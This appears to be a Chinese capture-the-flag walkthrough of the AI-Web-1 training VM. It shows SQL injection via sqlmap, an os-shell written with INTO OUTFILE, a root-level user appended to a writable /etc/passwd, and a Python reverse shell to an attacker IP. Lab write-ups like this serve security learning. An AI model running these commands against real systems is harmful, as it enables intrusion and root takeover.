前言
靶场获取后台回【aiweb1】
下载之后设置为nat模式
启动即可,不需要登录
靶机复现
主机发现
访问即可
信息收集robots.txt文件
访问尝试,原来是什么也没有的,404
我们去访问这个上级目录,发现有一个id
注入测试
语法错误,存在sql注入漏洞
抓包
sqlmap
爆表
发现表里什么也没有,换思路
没有权限
dirb扫一下看看,有一个info.php
网站绝对路径
禁用的函数,没有禁用eval
本地文件包含开启,以及php版本(%00截断,低于5.2),但似乎没什么用
这里我们有两种方法
方式一
通过查找secure_file_priv 的值
1、DBA权限,这里我们发现可以对文件进行读写
sqlmap -u 'http://10.0.0.84/se3reTdir777/#' -data "uid=1&Operation=%E6%8F%90%E4%BA%A4" -p 'uid' --privileges
2、secure_file_priv
image-20240802103735767
方式二
从phpinfo中的网站绝对路径进行拼接尝试
image-20240802104005173
image-20240802103844650
image-20240802131255632
有了绝对允许上传文件的角度路径那么我们就能使用sqlmap获取shell
sqlmap获取shell
使用sqlmap的oshell
osshell原理
通过sqlmap -v 5
参数可以查看流量包
image-20240802104556564
通过分析,得到sqlmap的osshell原理就是,通过into outfile/into dumpfile
写文件的方式进行文件写入
image-20240802104629208
然后再进行访问这个上传的写入
image-20240802104842231
sqlmap会向这个上传的网站目录写入两个文件
1、文件上传木马文件
2、命令执行文件
文件上传成功后,即可执行命令(与蚁剑不兼容)
❝注意:如果你退出了这个osshell,那么这两个文件都会自动删除,导致执行不了命令
这是会话维持中,可以执行命令
会话断开
断开后尝试执行命令
上传成功后,没有找到这个flag.txt文件,应该是没有权限读取
10=system('find / -name flag*');
查看/etc/passwd权限,发现漏洞,竟然可以读写文件,我们追加一个用户
新加用户之前创建一个登录密码
perl -le 'print crypt("123456","addedsalt")'
新加一个用户,分到root组进行提权
echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd
靶机发现还有nc
反弹shell,查看攻击机ip地址
靶机nc发现没有-e参数,反弹不了shell
看看靶机有没有python
很好,有python,我们使用python反弹shell,攻击机开启监听
中间我断网了,ip地址变了一下,之后操作都是这个ip
我们尝试使用python反弹shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.7',80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
如果没有成功,就多试几次
我们尝试切换用户,提示必须从终端运行
这个问题搞我半天,后来发现可以使用python调用本地shell即终端升级
echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py
su test
123456
模糊查找flag的位置
cat 即可
感谢观看!